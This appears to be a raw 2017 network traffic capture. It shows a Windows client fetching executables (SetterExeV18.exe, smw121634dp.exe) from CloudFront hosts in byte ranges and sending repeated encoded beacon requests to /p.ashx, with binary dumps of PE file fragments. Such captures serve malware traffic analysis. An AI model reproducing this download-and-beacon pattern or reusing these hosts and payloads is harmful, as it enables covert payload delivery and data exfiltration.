2.3*3:3P3x3.3.3.3.3.3.3.3.4.4!4-424%26gt;4C4O4T4r4.4.4n5.6.6.6.6'777.9.9
.9.9P:Y:b:q:.:a%26lt;.%26lt;.%26lt;.=.=.%26gt;.%26gt;...0.......1)1c1|1.1.1.2.2a
2.2.2.2.2'3^3.3.304j4.4.4.4.5.5.5a6.6.7.7*787.9.9.9n:~:.:.:.:.:.:.:.;T
;.;.%26lt;%%26lt;9%26lt;M%26lt;a%26lt;u%26lt;.%26lt;.%26lt;.%26lt;.%26lt;.%26lt;.%26lt;.=.=)==
=Q=e=.=.%26gt;o%26gt;.?|?.?.?.?.?.?.?.?...@.......0%0-040%26lt;0D0j0}0.0.0.0
.0.0.0.0.0.1.1u1.2.2.2.2.2)2o2.2.2.2.2.2.3.3!3*323:3}3.3.3.3.3.3.4.4.4
D5T5.5.5.5.5.5.5.5.5.5,6E6V6.6.6.667G7.7.8X8`8u8.8.8.8.9j9.9.9.9.9

GET /SetterExeV18.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d11sfnc01fj8ag.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT
Accept-Ranges: bytes
ETag: "a670962874c9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:19:55 GMT
Content-Range: bytes 250000-499999/520704
X-Cache: Miss from cloudfront
Via: 1.1 0f0009772734d6975e26e0a8bc4716ea.cloudfront.net (CloudFront)
X-Amz-Cf-Id: nVRXnqt6YpKbRAvPpj1frNP0pGRh4MSG72XC7nZe3sGBVCslJyaepA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT..Accept-Ranges: bytes..
ETag: "a670962874c9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:19:55 GMT..Content-Range: bytes 25000
0-499999/520704..X-Cache: Miss from cloudfront..Via: 1.1 0f0009772734d
6975e26e0a8bc4716ea.cloudfront.net (CloudFront)..X-Amz-Cf-Id: nVRXnqt6
YpKbRAvPpj1frNP0pGRh4MSG72XC7nZe3sGBVCslJyaepA==........Y.e...=..G....
......%26lt;.G......E..8.G..}.........5..G..5T.E......]...tt.5..G......]
..}..}.....}.;.rWj...P.E.9.t.;.rG.7....j...P.E......5..G..5T.E....E..5
..G....M.9M.u.9E.t..M....]..E.....h..E.h..E......YYh..E.h..E......YY.E
...... ....}..u)....G.....j..'...Y.u..\....}..t.j......Y.......U..j.j.
.u.........].U...}..u.............t......]..u.j..5h.G.....E.].........
.h`.C.d.5.....D$..l$..l$.+.SVW.@gG.1E.3.P.e..u..E..E......E..E.d......
.M.d......Y__^[..]Q........U.....S.].VW.E...{..s.3=@gG..E..........t..
O...3.0.c....G..O...3.0.S....E..@.f.......E..E..E..E..C..C..E.........
...@.@..L........E...t{..........M.....~...~h.E..8csm.u(.=..E..t.h..E.
.t........t.j..u.....E.....U..M.......E..U.9P.t.h@gG.V........E..X....
..tu.f.M..]........^.....tG.!.E........{..t6h@gG.V.................t..
O...3.0.K....W..O...3.2.;....E._^[..]..O...3.0.$....G..O...3.0......M.
...I..%26......U....(....@gG.3..E..}..Wt..u...i..Y.............jLj.P.@..
..................0.............................................f.

GET /p.ashx?e=obiBp3WOda8YEV9pcuJwXtjCW9+eJMmAWub0ofDzkCEegceCn+LKWZkWWo76FGxQr+J80GV4qARlUrzhzYzRp9T0p0D2ZyJQsnGPPRmjDA5d2L30lHqijijq6TspxE6m6TnR9dT7ayjH2CJtGrtsnASlhOyjLJ/CbfW9VjeXxBEUN4frQ/ABXA9OLpJMWKahtbjfpf6GllFxBbrJqAIXPkCN9h+bV19VAhTD7v1xeC4pGvADS7bOhhWoLVpCM9iEhqt6HrlyoIuXkcHJamqYAkU5MDCXDxgXn558pQYeTa+1l+1OLNhgAaPzXL8pY6Nn8Drm/gTHnKRatpWcD7V21UixaxLjlbxVMF4Batz9n/4= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=aQQpsP6/AW3U0UsIWSR1jVRnyF84anr3YDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB49De26f9ELU77BAEjXP3GmOBvq/txek+z3knywc6xSb HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=QgW8pN5r26bof2QYjF1uPwq//z5qhHoX0EzYvxMWJRokIQgzNWOGCn+5ot6+EvdWkYIKgNqWBwS9Kbi6m4oCRvcc+ZMAWsaKd+CV/tiwlgli8v7N56mSgbKWjlfhE4uZvYsjUyDjDPpQHbPfmjbRP4kEtwV0krU/zEwKmF3LBrNhJ1C2zC9NPmVzJiGxHpFRq/+mwRQciAPvbT+dq0IdZd990QLzNFTA30wp9ZePTAnJscN+vLrCowpfd9Pvun2DZj3l0wecJba60LKguj6icg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRlFU7gimmHq/JscN+vLrCo14/JpwhTbJacCuTErr5qdU= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRDvO0EiF3oHTyyO6Ebs4xmkKABP6K/iqqIBnlKRxyFokkn0XLiH0dH1LtCiNSAKYFf5JnRTepcv7VTVcd9MOBGUtwntjomLvg8OihZvFiIAIMn/yeJ21ljtcBdNV8N7h+ HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=xY8ohDYpM+gO8fn3umFd+V2PNcPuKknMw/KXmUS+MBMPOudYiEhu9PpaBjL6rcaUmQydu7v0XOmnNguChnjFYyy9pizPgo8YGz00ySamWlnMFAdL1xhsmXw8+OWurQVw3PC7x86FjYgov37HB1B/zlU5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mrl+JfVwpv1Wva0hvOLfOrKD/wvFkFqnHHo4G+r+3F6T7MDuG8rKmKv5M2lG/K85LIzCdXy2lTPRW3vJOpxfY9B1A6K4wtfvcx1y2OGa7t1CL4lfxm/XoqxEdjLvQZAWuHXAH+fOgpHnMH6wMvCefXXf+GeemgIzPxkm30CyQo1Eg HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:19:56 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: C8rVeNrqvcLXnIosG24Fli_NXSvxLH2j51CFR7tAe8VeLJ5lTxwLZw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Mon, 20 Mar 2017 00:19:56 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: C8rVeNrqvcLXnIosG24Fli_NX
SvxLH2j51CFR7tAe8VeLJ5lTxwLZw==..

....

GET /p.ashx?e=XJYuqQQo69dBmScQe+cMuF2PNcPuKknMCkdmPrP3LyEPOudYiEhu9PpaBjL6rcaUmQydu7v0XOmnNguChnjFYyy9pizPgo8YGz00ySamWlnMFAdL1xhsmXw8+OWurQVw3PC7x86FjYgov37HB1B/zlU5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mrp7TtIX8b4qVoW979+PTPR/sLIuaJBIVfI4G+r+3F6T7f9F3I6C91SWT/e9lpr/riA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=WL9usJOVMsOQs+n7i1BIkNjCW9+eJMmApZtSBouT4jcegceCn+LKWZkWWo76FGxQr+J80GV4qARlUrzhzYzRp9T0p0D2ZyJQsnGPPRmjDA5d2L30lHqijijq6TspxE6m6TnR9dT7ayjH2CJtGrtsnASlhOyjLJ/CbfW9VjeXxBEUN4frQ/ABXA9OLpJMWKahtbjfpf6GllFxBbrJqAIXPlLthe3E5HJFfRWApYRElbXqR4rzu9tChTEzQGoF+c24CSOMVPCH+eA= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=WL9usJOVMsPlWW0ay34fCUdUxmGl9EyeYDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB/nYE3DWujWaoU2sQ4uGCDUUAvnawhe3hbDffmPgH7pMiQNTh4u5dqPxEMNdFi25Gw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=WL9usJOVMsPlWW0ay34fCUdUxmGl9EyeYDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB/nYE3DWujWaoU2sQ4uGCDUUAvnawhe3hYcizBU3y3xpkudLwF4whtg= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:19:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UF5lcNfBdJgA2UzQBxPBz2aP2HuF_tBQN193VZwLiY3Off-O-5QicA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Mon, 20 Mar 2017 00:19:58 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: UF5lcNfBdJgA2UzQBxPBz2aP2
HuF_tBQN193VZwLiY3Off-O-5QicA==..

GET /p.ashx?e=QgW8pN5r26bof2QYjF1uPwq//z5qhHoX0EzYvxMWJRokIQgzNWOGCn+5ot6+EvdWkYIKgNqWBwS9Kbi6m4oCRvcc+ZMAWsaKd+CV/tiwlgli8v7N56mSgbKWjlfhE4uZvYsjUyDjDPpQHbPfmjbRP4kEtwV0krU/zEwKmF3LBrNhJ1C2zC9NPmVzJiGxHpFRq/+mwRQciAPvbT+dq0IdZd990QLzNFTAqiKuwJ2QNWAL/XWHChDxEUKABP6K/iqqggPnHli0tZCBSCbmHG3q6QlEj4/HBfPTcUDrej7Uo8w= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRLWT0ooBBF1fVw12R6ofm/Y8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC+Mhrkq09y/amn0hKiMbceR3MOwIZ76JwmTqIjEwZJX8qZPamPhh78rf8SKYsXwuBxaqSxr2X7ENAlt3MuTiXc= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopR5YFWQUANi8+KgQWEQh9QronZvqoB+8mW4yIycFcn/+g= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRvcTB46xWnxTTJVfgp7thqbPiCC4paVhd HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=xY8ohDYpM+iNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmquIApimWCrqakE8SFHLIEPsGc6+n+uqijtZ6R90h7cidQhE1rXBz99ttxfA3C6KKE5uvEmaSYLmhGU1IGevJVygthPlRO7ICGTcD5MbnMHcJ64LtTjETGDUCjBYGPK7rWfXeCi/0KZZptbQRhqH8Cssw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:19:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 3ccfbae98f5816b531634c1e82e45259.cloudfront.net (CloudFront)
X-Amz-Cf-Id: p5ELyWwKmjomEc2poXe2ugCS9kADtTjf7A5aNO6KYijkZhmOQNlnkg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Mon, 20 Mar 2017 00:19:57 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 3ccfbae98f5816b531634c1e82e452
59.cloudfront.net (CloudFront)..X-Amz-Cf-Id: p5ELyWwKmjomEc2poXe2ugCS9
kADtTjf7A5aNO6KYijkZhmOQNlnkg==..

....

GET /p.ashx?e=lOCrbsNL2zWNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmqujsg/omkWbCTQlB3kfGAhd0M7+7p6G3XAOQeYuSCl878AKo0mRYbtZmTrdmoQBtHVvQShiKWZ9cFEj3apiqwElP87VSn8EQRfyltSMgrsTyl8aUSP2VoumlpLPC+4XcIm7cGFoGtp5ECS7IK1ett99MZ5kXJQtKy834mgW150Op0Y6r6EQu3En4ua1g4fVI4GJA9YFpnE8QO8567A9PF2tojJydmmwDtH8qBHSjX/hDYPr3Ugg3/8WtyvhlGeipNV537D3i/QmJNPHtdPmcrksKcwUL4uIo9bBcP67p/rswd0aUeoU+PGdmwVVPh7TxXkBCDWG0W34WuMrG6DH6H0HA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

....

GET /p.ashx?e=WL9usJOVMsPlWW0ay34fCUdUxmGl9EyeYDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB/nYE3DWujWaoU2sQ4uGCDUUAvnawhe3hbDffmPgH7pM6gKn8h0qT3aBcaoZob0e9Q== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:19:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 3ccfbae98f5816b531634c1e82e45259.cloudfront.net (CloudFront)
X-Amz-Cf-Id: oTTUpjh13vBM9R7uL1lLXiaPfuN6_O8D5L81ndXQn8Dj5Aee-_I0EQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Mon, 20 Mar 2017 00:19:58 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 3ccfbae98f5816b531634c1e82e452
59.cloudfront.net (CloudFront)..X-Amz-Cf-Id: oTTUpjh13vBM9R7uL1lLXiaPf
uN6_O8D5L81ndXQn8Dj5Aee-_I0EQ==..

....

GET /p.ashx?e=043Mckb8Lnhw7iCtSAyu/+QhfXa/CCW5NPZS6pZIlAEr4Spdf2ZexL9An1YluClXsGG6qLQR8LceI9VTThLJ3UlF4mqrDXF/L3OhFAPbRTejORB6u31KNxKv6VolbFNDUxX212nyBDAafyyUl+C9vORgvLZHT+a72UC/bfWIAgSqinVSQQ1bE6yLXK7ul6nZPXUNd68JXUDrKwD6t+b1ZfKiWnlKjT8nQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqakt3bH6c7GAHITnquSe8GwjLnPqEPf2/rl3s8pSKbhxWudjDabjiU15bfhBVTXmVIKy2EBoQQl304tsVuXqTBm48VmE3ZuCJs4y1aJnkp+ScdBb0CbA7Wqcrbq8YHwKZS4RrSPwflTyFw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net

GET /smw121634dp.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:01 GMT
Content-Range: bytes 0-249999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: B-NB4C4upWTh9sx666RTwKjdFQiz_aRLPfClxajzrzhk1p5aClqPpg==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
........a.4......................................s..........`B........
...+3.(............................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@..@.data................r..........
....@....ndata...`...@...........................rsrc...`B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t+.}.F.E.u..H...
..6B..H.P.u..u..u....r@..B...SV.5.6B..E.WP.u....r@..e...E..E.P.u....r@
..}..e....Lp@........FR..VV..U...+M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u....r@..u
....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..
Hp@..u..5%26lt;p@.W...E..E.h ...Pj.h..B.W...r@..u.W...u....E.P.u...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.

GET /smw121634dp.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:03 GMT
Content-Range: bytes 250000-499999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8cGGfGwRI8B_IL6HDaIf33fRLi4ZrMwjjwHxMeiWT0NKu6xAGBAn_w==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:03 GMT..Content-Range: bytes 25000
0-499999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 7922e01ab53e
8f36477272573223ab35.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 8cGGfGw
RI8B_IL6HDaIf33fRLi4ZrMwjjwHxMeiWT0NKu6xAGBAn_w==...ny.q..{k..........
.U....j..0[...2.......;\..L.....T.Q....Z.^...$A..s..)O|...u$....}.{q..
..j.....c....|$.~..k.x...z...K..C^#.....!+8.].!th..p......L...\.=K.m..
-.h.L.........w~...X..M....[..S.{. .ek3.VeR..Y.^.QaR..C...[t(..i^.N6..
.j.O.YGs.%26lt;)...x.x...Y....R....'.7..rt.].....d..A....[sym?/...T....w
h.......`.ww...kO.T.i.ep4O!....T.f.K.[..T.5...;.K...?...W...n\..a.'.t.
.-.bV@..W8PK=Q.....%26lt;.V@xZ...S.0q@iw3}BEi.).=\."Mm.%26gt;T.eL.....~...
.r..;....@.... ..Qu.......rP.U...s/*.[..i..j..!.*..u.H...GX....O=..V..
..m.lc.....E.][....%26gt;......@..%26D..n.B)....db.=..7..Q....g...%26lt;....
?..ipU...\.F.Y.......K..9.......C........M_.Z_%26lt;.R6.......nO.....y.L
.Q...K.R";.|.........r.%..j4.1.N... .....B.o.@).*.%26gt;.H~N....8..r{M..
.w.....S0../..s.\...}..w.~...b;.Sw.L0.;D....Z+N.E......2.B.6(....X..UZ
.@..O:3n.S...U..9. .jZ0U....O..v.........":j*..^~...............6.....
..i%..+.+o.8..|.....tS).E..g.h#.O..#..\....L,.:..c.....1._'. ./.Z..g.v
]:.8xs.o.1....q..l..;....t..ZW....B..........rM......G......S.....

GET /smw121634dp.exe HTTP/1.1
Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:06 GMT
Content-Range: bytes 750000-999999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: xv60FsoCinZiXNy8Zd2f8DEi2-0SNRbuelKIwqOuswlbv7_QTYlp2w==

;..M..........H....V......\.........l1-.%...z....NF.......0...+.e.2...
..F..%26gt;d.[.....v..TLN..%...G4...?.6..*%26lt;Y.O2...\%26GNH.].4o...f.^o..
..g1L..?`......*......R......v.;a;E...Tm......P\~f.......X.:....\...@9
n.......@..].%26gt;.....=..`....T.cE.G.....U..l6..0....2....jH.%26...wY..1
.zVn.T.R\.).*..nZ...m4....[.%265...V......j.....!.4..Np.......M.%26lt;..@7
..H|.'b......O..R....K...(V.kI..(S\...Q.Q.M......n.Q.%26lt;..3....s.j.b.
.....,.....f..n.LH..%.%26PT KWK4....b}.'K..,L...)......u..."..}i....z...
..1b.S.i.K....)E...u.M...c%.sZ.c.Vf.....@.i.0.....a...L............%26..
.2.3....*..%26lt;p....MM'.s..-b...M...Y@.Z......i......aTg.........tPg%.
............p...i..#.T..._./q.A.B.......1.........(.(.$!.i[./..$@..$T.
.b..b....\a7...5=3...!..:Z.[s.KBY....,.........P.|.}m@.X...f|..]...#..
..8W..]...s....q..f{NA..%26gt;A.n@#...=.S.j(A......1..;.F.*.M. .^_s .x.D
%...x.:..6.%.%26lt;..K.f.SW..o..=.A...|.%26.0..(.D$.eb7[9m=7}.0......km.|.
"7..K ,.8.6.Ai..6.?.....mf...8+.Rl.wj.....,..d.k...6.f.R:..4/1.=...xp.
....9r1.K..z.j.W8.....$....."..E..(.c.B.^..r.??..c.B..cfp...z........d
..-........f..bP"K.=...9lJ1...|n...;Y_r\...{.Bw.)...%26[....~..7....y`[.
.r....i..!...........7C.~..../y...B....^...._.;..N....Y=.tUYU6..hX..o.
.2.9......3"..a....F....c...Q.@m..^/\H..s....!%...y...ST.{...U....a..h
}N..7.(.V...Fy.....Ufu0.g]fOd.BX/...W......P....i$.f.\..h=.1....^..erB
........a..1U....5Q.T.c...x...+......S.z......Ep...`...-E..+I......uJ[
.1.O.%26gt;..t..5.............z.........8...2Or./..%26..M....V7R..........
l@...N_....h.:e..aOd7...V.a\.J..o..TQ....t.RY..f0...R..'....4.....

GET /smw121634dp.exe HTTP/1.1
Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
